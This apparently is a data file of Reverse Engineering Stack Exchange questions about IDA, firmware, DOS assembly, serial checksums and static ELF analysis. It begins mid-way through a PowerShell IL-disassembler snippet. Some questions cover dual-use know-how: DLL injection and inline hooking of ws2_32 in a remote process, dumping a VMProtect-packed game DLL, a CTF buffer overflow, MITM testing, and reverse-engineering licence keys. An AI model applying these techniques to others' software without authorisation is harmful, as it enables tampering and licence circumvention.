+                         $genericMethodArguments = $method.GetGenericArguments()
+                     }
+
+                    ($method.Module.ResolveMethod(
+                       $metaDataToken,
+                       $method.DeclaringType.GetGenericArguments(),
+                       $genericMethodArguments)).Name 
+
+                    $offset += 4
+                 }
+
+                ""InlineNone""
+                {
+                }
+
+                { $_ -eq ""ShortInlineBrTarget"" -or
+                  $_ -eq ""ShortInlineI"" -or
+                  $_ -eq ""ShortInlineVar"" }
+                {
+                    $offset++
+                }      
+
+                ""InlineVar""
+                {
+                    $offset += 2
+                }
+
+                { $_ -eq ""InlineBrTarget"" -or
+                  $_ -eq ""InlineField"" -or
+                  $_ -eq ""InlineI"" -or
+                  $_ -eq ""InlineSig"" -or
+                  $_ -eq ""InlineString"" -or
+                  $_ -eq ""InlineTok"" -or
+                  $_ -eq ""InlineType"" -or 
+                  $_ -eq ""ShortInlineR"" }
+                {
+                    $count = [BitConverter]::ToInt32($Ilbytes,$offset+1)
+                    $offset += 4
+                }
+
+                { $_ -eq ""InlineI8"" -or
+                  $_ -eq ""InlineR""
+                }
+                {
+                    $offset += 8
+                }
+
+                ""InlineSwitch""
+                {
+                    $count = [BitConverter]::ToInt32($Ilbytes,$offset+1)
+                    $offset += 4 * $count
+                }
+
+            default 
+               { throw ""$($opCode.OperandType) not implemented"" }
+
+            }
+        }
+    }
+
+    Write-Host ""} // end of method $($method.DeclaringType.ToString())::$($method.Name)""
+    Write-Host 
+}
+
+" +"['assembly', 'firmware']"," Title: Switching from seg to text in IDA-ViewBody: actually i don't know where the problem but i will describe it +I am trying to analyse the firmware of a router and i could extract it and i got these files +libxmlapi.so +libhttpapi.so +libcfmapi.so +libmsgapi.so +But I can't read the file like this way in the IDA +and here is how it does like in my computer + +That's the link of the tutorial that i was following https://hg658c.wordpress.com/2017/12/04/decrypting-configuration-files-from-other-huawei-home-gateway-routers/ +But when i view the file in IDA mode it shows like 1 letter in every line and there is nothing like urk so i can determine the string that i have to copy to continue the tutorial +Here is the files so maybe someone want to take a look at them +https://drive.google.com/open?id=1cU9qgAsKecfLNuM7RLrBoin5DHl2GsB1 +I tried 3 other firmwares and i couldn't find any thing useful in them ( one of them is tested by other one and he could do it right ) +" +"['disassembly', 'assembly', 'function-hooking']"," Title: Executing CMP DS:[] by inline assembly inline hooksBody: I need to execute some instructions of library I'm using (ws2_32.dll) inside my C code, but I have a problem with a simple cmp instruction. +Followed by IDA, this instruction is: + +
cmp off_41AE7048, offset sub_41AC2E29
+
+ +When I run my application in debugger, this above pice of code becomes: + +
CMP DWORD PTR DS:[77517048],WS2_32.774F2E29
+
+ +What does this excatly mean? +Where this address(?) 77517048 came from? + +I code comething like this + +
mov eax, DWORD ptr DS:[0x41AE7048]
+cmp eax, DWORD ptr DS:[0x41AC2E29]
+
+ +but as I expected it doesn't work -> program crashes. + +###### EDIT + +A little bit of explanation. I'm doing inline hook on listen function from ws2_32.dll library. + +I have my own dll - hook.dll, which will be loaded into remote process. +Inside this dll I have funcion called listen_hook_wrapper; + +After the dll is loaded into remote process, inside dllMain I'm overriding a few first instructions of 'listen' function, by loading my own code which is simple jump into 'listen_hook_wrapper'. To simplify, let's called this jump as trampoline. + +Inside listen_hook_wrapper I'm taking listen's arguments, process them, and after all I would like to return executing to listen function, but before I will jump into listen function, I must execute listen's instructions which were overrided by my 'trampoline'. + +The instructions of listen function, which were overriden by my trampoline are: + +
mov edi, edi
+push ebp
+mov ebp, esp
+push ecx
+cmp off_41AE7048, offset sub_41AC2E29 
+
+ +After I execute this set of instruction I can jump back into listen function, and it should continue executing properly. + +When I was writing this post I couldn't figure out what excatly is (what it is doing): + +
+ cmp off_41AE7048, offset sub_41AC2E29 +
+ +and why executing this inside my trampoline causes errors, but now I think that it's because relocations. + +As I mentioned above, when I take a look inside listen function during execution, the instrucion above becomes: + +
+ CMP DWORD PTR DS:[77517048],WS2_32.774F2E29 +
+ +Let's compare this two addresses: + +
+ 41AE7048 and 77517048. +
+ +They have common part which is ****7048. +As I know the 4**** is the default base address assigned during compile process, and the 7**** is address where usually dlls are loaded. So I think I need just update the instruction: + +
+ cmp off_41AE7048, offset sub_41AC2E29 +
+ +by applying relocations, using the base address which was assigned in runtime by aslr mechanism. + +I can't test it right now, but I think that it makes sense isn't it? +" +"['ida', 'lua']"," Title: Finding lua addresses with idaBody: I tried to find lua_pcall, lua_newthread, luaL_loadbuffer, lua_tolstring, lua_pushcclosure and lua_pushinteger functions with IDA decompiler but I didn't find them. Can someone please tell me what is best way to find this lua functions? +" +"['javascript', 'hooking']"," Title: javascript hook comparisonsBody: Look at this very basic javascript code: + +
if (s=='abcd')
+{
+    if (s2='cdef')
+    {
+       ...
+    }
+}
+
+ +I want to hook all tests: I want to get this: + +
(s,'==','abcd')
+(s2,'==','cdef')
+
+ +Is there a way to do this ? + +I have tried to put hooks into v8 but it is not easy... +" +['serial-communication']," Title: Reverse engineering checksum from RS-485 deviceBody: Attempting to reverse-engineer a checksum for a serial timing device that updates a display. Protocol is partly understood, however the checksum calculation specified does not produce the expected value. + +I would like to understand what is happening in this protocol, as I would like to write to the display with my own software and not just sniff the data. + +

Known parameters:

+ + + +First question: If the FEC is indeed ""repeat"", does it follow that the designer would incorporate a CSUM? Perhaps the packets that appear to be CSUM are something else not documented? + +
+ +

Packet format:

+ +as described in protocol spec, possibly incorrect or outdated. (EDIT: the protocol spec does appear to be incorrect for my device. Corruption of the data is unlikely) + +""X"" denotes a nibble that takes a value. +""?"" denotes a nibble that is used for flag bits. + +
| lo_ADDR | hi_ADDR | sub_ADDR | DATA_0 | DATA_1 | DATA_2 | DATA_3 | lo_CSUM | hi_CSUM |
+|   0x8X  |   0x9X  |   0x0c   |  0x?X  |  0x?X  |  0x?X  |  0x?X  |  0xAX   |   0xBX  |
+
+ +Some of the fields seem to match; others don't. As seen below, lo and hi ADDR and lo and hi CSUM don't seem to match the description. + +Most packets in the stream appear to start with 0x0a and end with 0x0b, although some packets observed don't follow that pattern. Are they flag bytes? + +An example of two packets of interest, bytes that work as specified marked ok, ones that don't with !k + +
A1 A2 A3 A4 A5 A6 A7 A8     B1 B2 B3 B4 B5 B6 B7
+------------------------------------------------
+!k ok ok ok ok ok !k !k     !k ok ok ok ok ok !k
+0a 0c 02 00 60 00 80 0b     28 0c 02 00 60 00 80
+
+ +Straight from Pyserial, appears as follows: + +
b'\n\x0c\x02\x00`\x00\x80\x0b(\x0c\x02\x00 \x00\x80'
+
+ +Ten lines of packets, two neighboring packets shown, repeats removed: +(edit: added more lines, formatting for clarity) + +
A1 A2 A3 A4 A5 A6 A7 A8          B1 B2 B3 B4 B5 B6 B7
+--------------------- state == running --------------
+----------------------(A3, B3 <= 0x09)---------------
+
+0a 0c 01 09 65 09 d8 0b .repeat. 28 0c 01 09 65 09 e0 .repeat. ...
+0a 0c 01 09 65 08 c0 0b ........ 28 0c 01 09 65 08 80 ...
+0a 0c 01 09 65 07 a8 0b ........ 28 0c 01 09 65 07 a0 ...
+0a 0c 01 09 65 06 90 0b ........ 28 0c 01 09 65 06 c0 ...
+0a 0c 01 09 65 05 f8 0b ........ 28 0c 01 09 65 05 e0 ...
+0a 0c 01 09 65 04 e0 0b ........ 28 0c 01 09 65 04 80 ...
+0a 0c 01 09 65 03 c8 0b ........ 28 0c 01 09 65 03 a0 ...
+0a 0c 01 09 65 02 b0 0b ........ 28 0c 01 09 65 02 c0 ...
+0a 0c 01 09 65 01 98 0b ........ 28 0c 01 09 65 01 e0 ...
+0a 0c 01 09 65 00 80 0b ........ 28 0c 01 09 65 00 80 ...
+0a 0c 01 09 64 09 e0 0b ........ 28 0c 01 09 64 09 80 ...
+0a 0c 01 09 64 08 80 0b ........ 28 0c 01 09 64 08 80 ...
+0a 0c 01 09 64 07 a0 0b ........ 28 0c 01 09 64 07 80 ...
+0a 0c 01 09 64 06 c0 0b ........ 28 0c 01 09 64 06 80 ...
+0a 0c 01 09 64 05 e0 0b ........ 28 0c 01 09 64 05 80 ...
+0a 0c 01 09 64 04 80 0b ........ 28 0c 01 09 64 04 80 ...
+0a 0c 01 09 64 03 a0 0b ........ 28 0c 01 09 64 03 80 ...
+0a 0c 01 09 64 02 c0 0b ........ 28 0c 01 09 64 02 80 ...
+0a 0c 01 09 64 01 e0 0b ........ 28 0c 01 09 64 01 80 ...
+0a 0c 01 09 64 00 80 0b ........ 28 0c 01 09 64 00 80 ...
+         ...                             ...
+0a 0c 01 09 64 04 a0 0b ........ 28 0c 01 09 63 04 80 ...
+         ...                             ...
+-------------------- state == stopped -------------------
+------------(high nibble A5, B5 0b110 -> 0b10)-----------
+------------(bit 6 in byte A5, B5 == flag bit)-----------
+
+0a 0c 01 09 23 04 a0 0b ........ 28 0c 01 09 23 04 80 ...
+         ...                             ...
+---------------- state == running | stopped -------------
+------------(if A3, B3 == 0x0f, then A7, B7 -> 80)-------
+------------(A3, B3 == 0x0f == no digit displayed)-------
+         ...                             ...
+0a 0c 0f ** ** ** 80 0b ........ 28 0c 0f ** ** ** 80 ...
+         ...                             ...
+
+ +0x0a << 2 == 0x28. Is that just coincidence? Or are some bits handled improperly? + +It would appear that A7 and B7 are 8 bit CSUM values. However, when the following CSUM calculation is done as specified in the documentation: + +
CSUM = lo_ADDR ^ hi_ADDR ^ sub_ADDR ^ DATA_0 ^ DATA_1 ^ DATA_2 ^ DATA_3
+0x62 =   0xa   ^   0x0   ^   0x0c   ^  0x01  ^  0x09  ^  0x65  ^  0x09
+0x62 =   0x8   ^   0x2   ^   0x0c   ^  0x01  ^  0x09  ^  0x65  ^  0x09   
+
+ +The calculated value doesn't match A7 or B7. However: + +""The CSUM byte is then split into 2 bytes, 0xAX (low nibble) and 0xBX (high nibble)"" + +I've tried https://crccalc.com as well as others, thinking that the calculation in the specification is incorrect, however I can't get any matches on any 8-bit CSUMs that I've tried. + +I think I'm missing something obvious, as I'm quite an amateur. I'm really trying to understand what's happening, where I've gone wrong, and not just get my problem solved. I'm now two days into trying to figure this out, and I just can't get it. + +Quesion two: Are those fields actually checksums, if they are, how are they calculated? + +Question three: If they're not, what are they? + +Question four: Why would some packets appear to be missing (or have a different) start and stop flag bytes? (EDIT: Most likely because the specification I have is wrong) + +
+ +(EDIT) The CSUM calc in the spec does not apply to my data. + +Check sum calculation spec, verbatim from documentation: + +
CSUM = LOW ADDR
+CSUM = CSUM XOR'ed with HIGH ADDR
+CSUM = CSUM XOR'ed with SUB ADDR
+CSUM = CSUM XOR'ed with Data0
+..
+CSUM = CSUM XOR'ed with DataN (the last data-byte)
+The CSUM byte is then split into 2 byte, 0xAn (low nibble) and 0xBn (high nibble)
+
+ +
+ +Some interesting patterns which seem to hold throughout my data set: + +
    +
  1. if A3,B3 == 0x0f then A7,B7 == 0x80
  2. +
  3. High nibble A5,B5 == 0x6 | 0x2: change does not seem to affect A7,B7
  4. +
  5. if A6,B6 == 0x00 then A7,B7 == 0x80
  6. +
+ +
+ +(EDIT) UPDATE: +You know, the more I think about it and look around the internet, this system shares many similarities with DMX protocol. This system was made to work with many devices daisy-chained together. + +
    +
  1. One-to-many connection, with termination required at the end
  2. +
  3. 0x00 break on every line, similar to lo value inter-packet (line?) break, bursts of data about once a second
  4. +
  5. possibly no error correction at all
  6. +
  7. used to control a ""lighting"" device (7-segment display)
  8. +
  9. others ...?
  10. +
+ +
+ +[1] ""The Texas Instruments seven-segment display decoder chips 7446/7447/7448/7449 and 74246/74247/74248/74249 and the Siemens FLH551-7448/555-8448 chips used truncated versions of ""2"", ""3"", ""4"", ""5"" and ""6"" for digits A–E. Digit F (1111 binary) was blank."" - wikipedia, 7-segment display +" +"['disassembly', 'assembly', 'c']"," Title: (CTF) Speed up assembly by hooking to an static functionBody: For a CTF I have a fairly slow recursive function. I just need to cached the previous results in a dictionary and get them instead. I did it but had to reverse engineer the code. I was wondering if there is a better solution. + +LD_PRELOAD won't work as it is a static binary. If I could copy the assembly and call the function in a C program with asm I could get it done but is there a better solution or a way to patch the binary and create a function that caches the slow one? We could path the binary or use somethings to hook the function call. +" +"['ida', 'elf', 'exploit', 'patch-reversing', 'buffer-overflow']"," Title: Need help understanding basic buffer overflowBody: So I have this sample problem that I need to buffer overflow. Its an elf file that require to be run on a separate terminal then using ""nc localhost 'port' "" on a separate terminal we can see the input. + +On IDA I have + + + +which from some reason I dont understand what Im looking for so I tried using a buffer overflow technique and I got + + + +and in the other terminal I got + + + +I tried for days looking around for techniques and understanding how to solve this problem but im always reaching dead ends. + +Here is a link to the elf file: https://we.tl/t-vlqS6LwqlB +" +"['ida', 'static-analysis']"," Title: Saving IDA Graph to PDF format?Body: I want to save flow/call graph of IDA into a pdf format so that I could view it in my android. How can I do that? + +I know IDA can generate a flow chart (gdl file) and call chart (gdl file). But my question is, how do I convert those file format into pdf so that I could view the pdf on my android and iPad? I have no experience with those file formats before. + +Thank you. +" +"['ida', 'disassembly', 'debuggers']"," Title: Tricore debugging toolsBody: I am new in the reverse engineering, I have a good experience in programming MCUs like c51 and ARM. +Now I would like to learn about Tricore reverse engineering... ECUs mainly. +I can obtain the ECU flash as bin files, my question is: what IDE and debugger hardware (jtag) is best for this job? +" +"['ida', 'hex']"," Title: How can I see specific memory value by using Hex view in IDA?Body: I'm about to use IDA pro. +I have to access to 0018F42C(EAX) by using Hex view in IDA. +Maybe I guess there is EAX value.(String is ""happyy"", standard input) +but Hex view shows me 0018F410 as in screen1.. + + + +If it works well, I can find string ""happyy"" as in screen2 + + +then.. how can I see 0018F42C, not 0018F410? +" +"['operating-systems', 'binary-editing']"," Title: Windows 10 will not run hex edited applicationBody: I'm in a reverse engineering class. Our current assignment is to edit a notepad.exe application. Just to start out, I opened my notepad.exe in FlexHex, went to the end of the.rsrc section, changed a byte in one of the stock text strings from "70" to "31" and then saved the new file as an .exe. The size of the section and the overall file remains the same. Below is the line I changed. + +When I try to run the file, I get an error that Windows cannot run the file, specifically "This app cannot run on your PC". I didn't think that I changed anything essential. I'm wondering if Windows is preventing me from running a modified version of a Window's program. Is there a way to specify that Windows should run this program? +Any help is appreciated, thank you. +" +"['tools', 'https-protocol']"," Title: fakenet for apps using SSLBody: With great hopes I have tried to use fakenet-ng for testing spoofing or MITM type vulnerabilities. The android app I am testing uses HTTPS POST, and with fakenet it stops short of sending any data because the app rejects the SSL certificate presumably created by fakenet. I also tried simply with Edge and Chrome on Windows 10, and same deal - I can't get to first base. I can't find any information about fakenet and certificates. Fakenet lists decrypting SSL as a great feature - but it seems pretty useless without a solution to the certificate problem - I must be missing something - how do I get applications to send HTTPS data to fakenet? +" +"['assembly', 'linux', 'gdb', 'x86-64']"," Title: why saved rip changed by push?Body: I am doing a reverse homework. see the following pictures: + + + +as can be seen from this picture, before call push touch3, ""saved rip"" is at 0x5561dca8, which is equal to the current rsp(0x5561dca8). + +once called push touch3, the ""saved rip"" is at 0x5561dca0, which is also equal to new rsp(0x5561dca0). + +My question is, why push instruction changed the ""saved rip"" address. + + +" +"['debugging', 'radare2']"," Title: How to use aaa in radare2 while in -d (debug) mode?Body: This might be a stupid question, but I am trying to learn by myself and I encountered a problem which I cannot solve for the life of me. I tried googling and I can't find anything relevant, so here goes: + +When I use the aaa command while not in debug mode, it works fine, but as soon as I go into debug mode and I go into the main function and type aaa, the following shows up: +[ ] Analyze all flags starting with sym. and entry0 (aa) + +If I press enter nothing happens and I can just type freely without any effect. + +How am I supposed to proceed? +" +"['disassembly', 'x86', 'dos']"," Title: What's this assembly doing?Body: I have been trying to figure out the assembly for part of a DOS game and there is an operation that keeps getting called that uses all 4 registers. I can see what each line does but I can't for the life of me figure out what all the code together is meant be doing. + +Can anyone give me some idea? + +The code is: + +
seg000:3825 some_math_op_on_regs proc far; CODE XREF: sub_72C6+19FP
+seg000:3825                              ; sub_72C6+1DDP ...
+seg000:3825       cmp     cl, 10h
+seg000:3828       jnb     short loc_383A ; Jump if CF=0
+seg000:382A       mov     bx, dx         ; c register is < 16; move d to b
+seg000:382C       shr     ax, cl         ; Shift a right by value in c (logical)
+seg000:382E       sar     dx, cl         ; Shift d right by value in c (arithmetic)
+seg000:3830       neg     cl             ; Negate c (2's complement)
+seg000:3832       add     cl, 10h        ; Add 16 to c
+seg000:3835       shl     bx, cl         ; Shift b left by value in c (logical)
+seg000:3837       or      ax, bx         ; OR a and b, store result in a
+seg000:3839       retf
+seg000:383A ; --------------------------------------------------------------------
+seg000:383A
+seg000:383A loc_383A:                    ; CODE XREF: some_math_op_on_regs+3j
+seg000:383A       sub     cl, 10h        ; c register is >= 16; subtract 16 from c
+seg000:383D       xchg    ax, dx         ; Switch values in a and d
+seg000:383E       cwd                    ; Convert word to doubleword
+seg000:383F       sar     ax, cl         ; Shift a right by value in c (arithmetic)
+seg000:3841       retf
+seg000:3841 some_math_op_on_regs endp
+
+" +"['dll', 'dumping']"," Title: Dump packed dllBody: I am trying to analyze lua functions of game but dll is packed and I can't see them. I tried to dump dll with scylla https://github.com/NtQuery/Scylla but I still didn't get lua functions. Can someone please help me to dump dll? + +Dll is part of Watch Dogs game(It's called Disrupt_b64.dll) and it has VMProtector. +When I opened dll in IDA I first got error: +Can't find translation for relative virtual address 03ACF000, continue? +After that I got error: +The imports segment seems to be destroyed. This MAY mean that the file was packed or otherwise modified in order to make it more difficult to analyze. + +When I opened dumped dll from Scylla I only got second error + +Someone on I read on this site https://blog.lms-dev.com/category/watch-dogs/ successfully got that lua functions(collectgarbage, dofile, error, gcinfo). He said on site to unpack dll attach IDA to the process and dump the loader segments. + +Disrupt_b64.dll looked like this + +Dumped Disrupt_b64.dll looked like this + +" +"['disassembly', 'x86', 'dos']"," Title: Assembly that just seems to be a jumbleBody: I've disassembled an old DOS program into assembly and I'm trying to figure out a function call. Here is the ASM: + +
seg000:373C ; ¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦ S U B R O U T I N E ¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦
+seg000:373C
+seg000:373C
+seg000:373C sub_373C        proc far                ; CODE XREF: sub_72C6+16BP
+seg000:373C                                         ; sub_72C6+18FP ...
+seg000:373C                 push    si              ; Temp. store si on stack so we can restore it later
+seg000:373D                 xchg    ax, si
+seg000:373E                 xchg    ax, dx
+seg000:373F                 test    ax, ax
+seg000:3741                 jz      short loc_3745
+seg000:3743                 mul     bx              ; Multiply b by a IIF a is non-zero
+seg000:3745
+seg000:3745 loc_3745:                               ; CODE XREF: sub_373C+5j
+seg000:3745                 jcxz    short loc_374C
+seg000:3747                 xchg    ax, cx
+seg000:3748                 mul     si
+seg000:374A                 add     ax, cx
+seg000:374C
+seg000:374C loc_374C:                               ; CODE XREF: sub_373C:loc_3745j
+seg000:374C                 xchg    ax, si
+seg000:374D                 mul     bx
+seg000:374F                 add     dx, si
+seg000:3751                 pop     si              ; Restore old si
+seg000:3752                 retf
+seg000:3752 sub_373C        endp
+
+ +Frankly it just seems to be jumbling the registers around to me. My best guess is that it's some kind of primitive pseudo-random number generator. Can anyone confirm this or if not, tell me what it's actually meant to do? + +EDIT:
+I've tried dry-running the code, and as far as I can tell, the following is the end result of the registers (can anyone confirm I've got this right and tell me what useful mathematical function it might be doing?): + +
ax: ( ax * bx )
+bx: bx
+cx: cx
+dx: ax + ( (bx * dx) + (ax * cx) )
+
+" +['decryption']," Title: 1990s non windows software keysBody: Hi I am a Service Engineer on some very old ASML stppers that run a system called PAS (Philips automated steppers), these steppers are obsoleted by the manufacturer and no longer supported by anyone. I have the install software but it requires a software key that I dont have. What I do have is 6 software keys from a previous version of software(I dont have) and would like to try and see how these keys are generated so I can generate new ones. + +I am not very good at software issues but I can manage if I can get some ideas what way to go, I recently talked with the manufacturer and since they no longer support these are free to do with what we want. + +This is a non standard system, neither windows or unix can view the file structure, I am able to use Acrius software to image the hard drives successfully, now I just need to be able to install software. + +Anyone have any suggestions? Is there a way to use the old keys and info the tool asks for to decode the old keys? +" +"['c++', 'elf', 'static-analysis']"," Title: Finding function call (with arguments) in ELF fileBody: I have two kinds of ELF files, built from C++. + +.so files: + +
+ ELF 64-bit LSB shared object, x86-64, version 1 (GNU/Linux), dynamically linked, BuildID[sha1]=5e751e769912aef28bc63b888e5e4904b867a180, stripped +
+ +And executables: + +
+ ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=1c215d8895277612d3f4332836f48dd45967f69d, stripped +
+ +I am completely new to reverse engineering, and I have been experimenting with objdump, readelf and nm, but I still need some help. + +I want to find function calls to a few functions from a library, without executing the binaries (i.e., static analysis). + +With the above commands, I know the symbols are used, but I do not know which arguments are passed to the calls, or how many times the function was called. + +Ideally, I would like to get something close to the original source code, e.g. + + + +
thelib::TheClass::theFunction(""a"", b, c);
+
+ +but I understand this is hard to achieve. I would be content just by retrieving whether the first argument was a string literal (and its value) or something else. + +Is this possible with existing tools, such as the above (possibly with specific options), or would I have to implement something of my own? +" +"['elf', 'objdump', 'gcc', 'debugging-symbols']"," Title: Find functions names in .init_array section in unstripped libraryBody: Is it possible to find out all instances of static initialization in a elf dynamic library. +I can dump the array of function pointers in .init_array section via objdump command like this. +objdump -s -j .init_array <libname.so> + +Is there a way to map these function pointers back to function names. I have unstripped library with debug symbols. +" +"['ida', 'binary-analysis']"," Title: What is this function doing?Body: I have this function, named __ZNSt3__112basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEE6__initEPKcm. + +And this is the relevant assembly: + +
mov     rdi, [rbp+var_A80]
+mov     rsi, [rbp+var_A88] 
+mov     rdx, [rbp+string_length]
+call    __ZNSt3__112basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEE6__initEPKcm 
+
+ +From what I've noticed by looking at the registers before and after calling the function, the address of RSI is incremented by string_length, but I still have no idea what RDI is doing. + +Another weird thing is that the string length reported by the register is 0x046, but the address is incremented by 0x040. + +The RDI is 00007FFEEFBFF240 before the call, 0000000100400040 after it. + +EDIT: + +IDA is not letting me debug the function, as it throws SIGBUS. + +I am slowly reversing the function, i'll update here with progress. + +RDI is compared with 0FFFFFFFFFFFFFFF0h (Why?) +" +['ida']," Title: How do I set the return type for this type declaration?Body: I have a function that seems to calculate the length of a string. + +I have made this type declaration and it does kind of work as IDA now flags the string correctly. + +__int64 __fastcall strlen(char strlen_string); + +Now, RAX seems to hold the length of the string. But doing strlen@<rax> tells me that 'location rax is not allowed here'. Also, I'd like to flag exactly where the length is being used. + +This is what I have now: + +
mov     rdi, rcx ; strlen_string
+call    strlen
+mov     [rbp+var001], rax  
+
+ +and this is what I want to have with the new type declaration: + +
mov     rdi, rcx ; strlen_string
+call    strlen
+mov     [rbp+var001], rax ; string_length
+
+ +How can I do that? Is it even possible? +" +['assembly']," Title: What is this assembly in the `__common` section doing?Body: I have stumbled upon this: + +
public _oret
+__common:0000000100018000 _oret:                             
+
+__common:0000000100018000 sub     [rdi+4Fh], al
+__common:0000000100018003 db      4Fh
+__common:0000000100018003 and     [rdi+4Fh], r10b
+__common:0000000100018008 push    rdx
+__common:0000000100018009 and     [r8], rsp
+__common:000000010001800C db      40h, 46h, 43h
+__common:000000010001800C xor     r14d, [r14]
+__common:0000000100018012 xor     eax, 0A20h
+
+ +What is this doing exactly? My RAX points here, but I don't understand anything about what the purpose of this is. +" +['import-reconstruction']," Title: What does Scylla/ImpRec are doing? How to reconstruct imports?Body: Mostly in the tutorials they are telling to use this tool and that tool to magically apply something and make XY work & run. I would love to know how these things are working, how is import reconstruction done generally? + +For example in my case I would need dump a malware from memory, where it's manual mapped, but these import reconstruction tools usually does not support such a thing, this is why I want to learn what it is at all. (I know that there are workarounds how to make them work, but I want to know the logic behind imp reccing) + +So, back to the question. Are they analyzing the code itself for calls which are residing in external modules? Or are they using some other/existing/runtime table which usually unveil the original modules/procs. + +I couldn't find any good docs/description about it (except for whole the codebase of Scylla) +" +"['disassembly', 'firmware', 'firmware-analysis']"," Title: Which architecture is this firmware?Body: I am currently investigating GSL touch-screen controllers firmwares. + +A firmware example can be found here : https://github.com/onitake/gsl-firmware/blob/master/firmware/4good/t803i/silead_ts.fw + +In case the link goes down, here is a random relevant extract of said file: + +
04 60 03 9A 08 E0 C7 81 00 00 E8 81 73 26 08 C2 6C 25 00 DA 6F 00 80 00 01 60 00 82 7F 25 08 D8 01 40 5B 9A 01 20 03 98 00 00 80 81 00 00 00 01 00 00 00 01 00 00 00 01 0C 40 73 9A 6C 25 20 DA 00 20 10 96 02 E0 2A 83 6C 25 00 D8 B6 63 10 DA 0C 40 5B 9A 07 60 33 9B 01 E0 02 96 03 E0 A2 80 F9 FF BF 04 20 65 20 DA C0 23 00 C2 00 60 A0 80 07 00 80 02 01 30 10 82 00 22 00 C2 00 60 A0 80 05 00 80 22 40 25 00 C2 01 30 10 82 2C 25 20 C2 40 25 00 C2 00 60 A0 80 70 00 80 00 05 00 80 02 88 22 00 C2 01 60 30 9B 02 60 30 83 0D 40 00 82 1C 25 20 C2 07 00 00 03 44 62 C0 81 00 00 00 01 00 00 00 01 98 BF E3 9D 08 23 00 C2 01 60 00 82 FC 22 00 E0 01 00 A4 80 1E 00 80 0A 01 20 10 A4 F8 22 00 C2 01 80 A4 80 17 00 80 38 08 23 00 C2 02 20 2C 83 68 60 00 A2 EC 2F 00 C2 12 00 10 92 00 60 A0 80 01 A0 04 A4 04 00 80 02 10 00 10 90 00 40 C0 9F 00 00 00 01 1C 00 00 03 71 00 80 00 00 62 10 98 0C 40 04 DA 04 62 10 82 01 40 24 DA 0C 40 24 C0 F8 22 00 C2 01 80 A4 80 F0 FF BF 08 68 60 04 A2 08 23 00 C2 FF 3F 04 A0 E3 FF BF 10 01 60 00 82 00 23 00 C2 01 60 00 82 F8 22 00 E4 01 80 A4 80 20 00 80 0A 1A A0 5C A6 01 20 10 A0 08 23 00 C2 01 00 A4 80 15 00 80 18 02 E0 2C 83 04 60 00 A2 EC 2F 00 C2 10 00 10 90 00 60 A0 80 01 20 04 A0 04 00 80 02 12 00 10 92 00 40 C0 9F 72 00 80 00 00 00 00 01 1C 00 00 03 00 62 10 98 0C 40 04 DA 68 62 10 82 01 40 24 DA 0C 40 24 C0 08 23 00 C2 01 00 A4 80 F0 FF BF 08 04 60 04 A2 00 23 00 C2 FF BF 04 A4 01 60 00 82 01 80 A4 80 E4 FF BF 1A E6 FF 04 A6 08 E0 C7 81 00 00 E8 81 98 BF E3 9D 48 25 00 C2 00 61 88 80 00 20 10 AC
+
+ +I have tried disassembling this file for quite a few architectures, but the result does not look like coherent machine code. + +Which architecture should I use to disassemble this firmware? + +Some info I found: + + + +I am hopping someone more experiences would recognize the machine code signature of the specific CPU. +" +"['serial-communication', 'crc']"," Title: Reverse engineer 8 bit check sequence for old unkown protocolBody: I am using an old piece of hardware which uses an RS485 serial interface. I'm trying to simulate slave node data but I don't have any documentation on the protocol and unfortunately the hardware is not supported any more. + +I've got numerous examples of master and slave data for which I've tried to reverse engineer the check sequence but I've not found a match for the algorithm. + +Master to Slave examples + +
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 A5
+04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 A9
+06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 AB
+08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 AD
+
+ +Slave to Master examples + +
80 00 24 F4 67 1E A3 00 00 00 00 3F 00 FB E6 F9 81 BB 17 D1
+84 00 00 00 00 00 00 00 00 00 00 00 00 D8 3D 62 FC 6C 7C 84
+86 00 00 00 00 00 00 00 00 00 00 00 00 39 7A 9A 05 77 77 6B
+88 02 02 02 02 02 02 02 02 00 00 00 00 29 9E EA 45 76 78 21
+
+ +It's clear the first 15 bytes for Master to Slave and first 19 bytes for Slave to Master is the data and the last byte is used as the check sequence. You can see the protocol uses the first byte as an address with the associated reply setting the most significant bit, though the addressing doesn't determine the error check byte algorithm it is included as part of the calculation. + +My approach so far includes using the various online CRC and checksum calculators. I also tried to use reveng but have not managed to find a match. Any help would be much appreciated. +" +"['ida', 'dll', 'call']"," Title: Calling imported DLL functions from an injected DLL?Body: If I have injected my own DLL into an executable (a game specifically) which imports a DLL to draw its graphics, camera, etc. How can I go about calling the DLLs functions? + +I'm able to find the executables functions and hook them/call them at will, but I'm having trouble wrapping my head around how to do the same thing for the DLL which has the real goodies I want to call/manipulate. + +I'm using IDA Pro to decompile the executable to get a good sense of what's happening. I'm still a beginner at this stuff but I think the dword_xxxx references is when the executable is calling DLL functions? Things like this for example: + + +" +"['ida', 'assembly']"," Title: Bitwise operation between byte and 1?Body: I am having some trouble understanding what this is doing. + +This is the commented pseudocode. + +
mightGetUserInput(&std::__1::cin, &userInput) ; this fills the buffer with the user input, naming is a bit weird, but I'm not sure how to improve it?
+
+if ( userInput & 1 ) ; wtf is this doing? IDA flags userInput as _BYTE
+{
+  v54 = &userInput;  // 
+  v55 = &userInput;  // This is literally junk. Has no use. Would be nice to clean this up but how?
+  v56 = &userInput;  //
+  length_of_userInput = *((_QWORD *)&userInput + 1); I have been able to only trigger this
+}
+else
+{
+  v51 = &userInput;  //
+  v52 = &userInput;  // This is literally junk. Has no use. Would be nice to clean this up but how?
+  v53 = &userInput;  //
+  length_of_userInput = (signed int)userInput >> 1; No clue what this is doing
+} 
+
+ +This is the actual assembly if you prefer it: + +
mov     [rbp+user_input], rcx
+mov     rcx, [rbp+user_input]
+movzx   edx, byte ptr [rcx]
+and     edx, 1
+cmp     edx, 0
+jz ....
+
